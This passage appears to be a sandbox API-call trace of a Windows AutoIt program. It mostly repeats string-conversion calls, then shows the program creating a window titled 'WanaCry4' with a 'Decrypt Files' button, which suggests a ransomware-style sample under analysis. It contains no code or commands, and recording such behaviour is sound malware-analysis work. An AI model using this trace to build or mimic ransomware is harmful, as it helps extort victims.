(in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.073] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.073] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.073] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.073] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.073] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.074] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.074] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.074] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.074] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.074] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.074] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.074] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.074] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.074] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.074] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.075] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.075] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.075] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.075] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.075] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.075] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.075] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.075] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.075] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.075] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.076] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.076] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.076] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.076] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.076] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.076] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.076] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.076] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.076] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.077] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.077] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.077] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.077] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.077] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.077] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.077] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.077] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.077] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.077] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.078] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.078] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.078] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.078] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.078] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.078] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.078] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.078] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.078] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.078] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.079] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.079] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.079] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.079] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.079] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.079] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.079] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.079] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.079] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.080] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.080] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.080] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.080] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.080] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.080] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.080] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.080] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.080] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.080] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.080] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.081] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.081] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.081] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.081] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.081] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.081] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.081] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.081] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.081] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.081] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.082] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.082] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.082] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.082] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.082] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.082] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.082] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.082] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.082] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.082] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.083] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.083] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.083] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.083] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.083] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.083] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.083] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.083] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.083] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.083] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.084] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.084] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.084] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0032.298] Shell_NotifyIconW (dwMessage=0x1, lpData=0xc80cb2e9a0) returned 1 [0032.299] KillTimer (hWnd=0x4002c, uIDEvent=0x1) returned 1 [0032.299] SetTimer (hWnd=0x4002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0032.299] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0032.649] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0xc80cb2f470, fWinIni=0x0 | out: pvParam=0xc80cb2f470) returned 1 [0032.649] GetSystemMetrics (nIndex=7) returned 3 [0032.649] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0xc80cb2f470, fWinIni=0x0 | out: pvParam=0xc80cb2f470) returned 1 [0032.649] GetSystemMetrics (nIndex=8) returned 3 [0032.649] GetSystemMetrics (nIndex=4) returned 23 [0032.649] SetRect (in: lprc=0xc80cb2f470, xLeft=0, yTop=0, xRight=800, yBottom=650 | out: lprc=0xc80cb2f470) returned 1 [0032.649] AdjustWindowRectEx (in: lpRect=0xc80cb2f470, dwStyle=0x84c00000, bMenu=0, dwExStyle=0x0 | out: lpRect=0xc80cb2f470) returned 1 [0032.649] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3 GUI", lpWindowName="WanaCry4", dwStyle=0x84c00000, X=318, Y=92, nWidth=806, nHeight=679, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x5018c [0032.649] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0032.649] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x81, wParam=0x0, lParam=0xc80cb2ee20) returned 0x1 [0032.650] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0032.650] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x83, wParam=0x0, lParam=0xc80cb2ee90) returned 0x0 [0032.650] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0032.650] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0032.650] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x5, wParam=0x0, lParam=0x28a0320) returned 0x0 [0032.650] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0032.650] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x3, wParam=0x0, lParam=0x760141) returned 0x0 [0032.650] SetWindowLongPtrW (hWnd=0x5018c, nIndex=-21, dwNewLong=0x0) returned 0x0 [0032.650] GetClientRect (in: hWnd=0x5018c, lpRect=0xc80cb2f470 | out: lpRect=0xc80cb2f470) returned 1 [0032.650] GetStockObject (i=17) returned 0x10a0047 [0032.650] SendMessageW (hWnd=0x5018c, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0032.650] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0032.650] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0032.650] GetCursorPos (in: lpPoint=0xc80cb2f410 | out: lpPoint=0xc80cb2f410*(x=354, y=388)) returned 1 [0032.650] ScreenToClient (in: hWnd=0x5018c, lpPoint=0xc80cb2f410 | out: lpPoint=0xc80cb2f410) returned 1 [0032.650] GetAsyncKeyState (vKey=1) returned 0 [0032.650] GetAsyncKeyState (vKey=2) returned 0 [0032.650] SetTimer (hWnd=0x0, nIDEvent=0x0, uElapse=0x28, lpTimerFunc=0x7ff756b75a9c) returned 0x7f98 [0032.651] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0032.651] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0032.651] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0032.651] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0032.651] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0032.651] CreateWindowExW (dwExStyle=0x100, lpClassName="button", lpWindowName="Decrypt Files", dwStyle=0x50030000, X=176, Y=400, nWidth=113, nHeight=41, hWndParent=0x5018c, hMenu=0x3, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x9001e [0032.652] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0032.652] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x55, wParam=0x9001e, lParam=0x3) returned 0x2 [0032.652] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0032.652] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0032.652] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0032.652] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0032.652] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0032.652] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0032.652] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0032.652] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x210, wParam=0x30001, lParam=0x9001e) returned 0x0 [0032.652] GetStockObject (i=17) returned 0x10a0047 [0032.652] SendMessageW (hWnd=0x9001e, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0032.652] GetClientRect (in: hWnd=0x9001e, lpRect=0xc80cb2f340 | out: lpRect=0xc80cb2f340) returned 1 [0032.652] GetWindowRect (in: hWnd=0x9001e, lpRect=0xc80cb2f340 | out: lpRect=0xc80cb2f340) returned 1 [0032.652] SetWindowLongPtrW (hWnd=0x9001e, nIndex=-21, dwNewLong=0x3) returned 0x0 [0032.653] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0032.653] GetDC (hWnd=0x0) returned 0x1601069e [0032.653] GetDeviceCaps (hdc=0x1601069e, index=90) returned 96 [0032.653] ReleaseDC (hWnd=0x0, hDC=0x1601069e) returned 1 [0032.653] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x170a05d0 [0032.653] SendMessageW (hWnd=0x9001e, Msg=0x30, wParam=0x170a05d0, lParam=0x1) returned 0x0 [0032.653] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0032.653] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="", dwStyle=0x503110c4, X=16, Y=56, nWidth=768, nHeight=329, hWndParent=0x5018c, hMenu=0x4, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x80020 [0032.656] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0032.656] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x210, wParam=0x40001, lParam=0x80020) returned 0x0 [0032.657] GetStockObject (i=17) returned 0x10a0047 [0032.657] SendMessageW (hWnd=0x80020, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0032.677] GetWindowTextLengthW (hWnd=0x80020) returned 0 [0032.677] SendMessageW (hWnd=0x80020, Msg=0xb1, wParam=0x0, lParam=0x0) returned 0x1 [0032.677] GetClientRect (in: hWnd=0x80020, lpRect=0xc80cb2f340 | out: lpRect=0xc80cb2f340) returned 1 [0032.677] GetWindowRect (in: hWnd=0x80020, lpRect=0xc80cb2f340 | out: lpRect=0xc80cb2f340) returned 1 [0032.677] SetWindowLongPtrW (hWnd=0x80020, nIndex=-21, dwNewLong=0x4) returned 0x0 [0032.677] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0032.677] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0032.678] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0032.678] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0032.678] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0032.678] PeekMessageW (in: lpMsg=0xc80cb2f2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2b0) returned 0 [0032.679] CharLowerBuffW (in: lpsz="lresult", cchLength=0x7 | out: lpsz="lresult") returned 0x7 [0032.679] LoadLibraryW (lpLibFileName="user32.dll") returned 0x7ffe2a3b0000 [0032.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SendMessageW", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0032.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SendMessageW", cchWideChar=13, lpMultiByteStr=0xc80cd8c8d0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMessageW", lpUsedDefaultChar=0x0) returned 13 [0032.679] GetProcAddress (hModule=0x7ffe2a3b0000, lpProcName="SendMessageW") returned 0x7ffe2a3b6970 [0032.680] SendMessageW (hWnd=0x80020, Msg=0xc5, wParam=0x3b9ac9ff, lParam=0x0) returned 0x1 [0032.680] FreeLibrary (hLibModule=0x7ffe2a3b0000) returned 1 [0032.680] PeekMessageW (in: lpMsg=0xc80cb2f2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2b0) returned 0 [0032.680] PeekMessageW (in: lpMsg=0xc80cb2f2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2b0) returned 0 [0032.681] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0032.681] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0032.681] CreateSolidBrush (color=0x0) returned 0x1b1007ca [0032.681] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0032.681] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0032.681] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.681] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xc80cb2f430, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc80cb2f430*=0) returned 1 [0032.682] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xc80cb2f420, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc80cb2f420*=0) returned 1 [0032.682] ReadFile (in: hFile=0x18c, lpBuffer=0xc80cd9cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xc80cb2f460, lpOverlapped=0x0 | out: lpBuffer=0xc80cd9cb00*, lpNumberOfBytesRead=0xc80cb2f460*=0x324a, lpOverlapped=0x0) returned 1 [0032.682] ReadFile (in: hFile=0x18c, lpBuffer=0xc80cd9cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xc80cb2f460, lpOverlapped=0x0 | out: lpBuffer=0xc80cd9cb00*, lpNumberOfBytesRead=0xc80cb2f460*=0x0, lpOverlapped=0x0) returned 1 [0032.682] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0032.682] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xc80cb2f4a0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc80cb2f4a0*=12874) returned 1 [0032.682] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.682] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xc80cb2f4a0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc80cb2f4a0*=0) returned 1 [0032.682] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xc80cb2f3f0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc80cb2f3f0*=0) returned 1 [0032.682] ReadFile (in: hFile=0x18c, lpBuffer=0xc80cd9cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xc80cb2f430, lpOverlapped=0x0 | out: lpBuffer=0xc80cd9cb00*, lpNumberOfBytesRead=0xc80cb2f430*=0x324a, lpOverlapped=0x0) returned 1 [0032.682] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0032.682] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0032.682] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 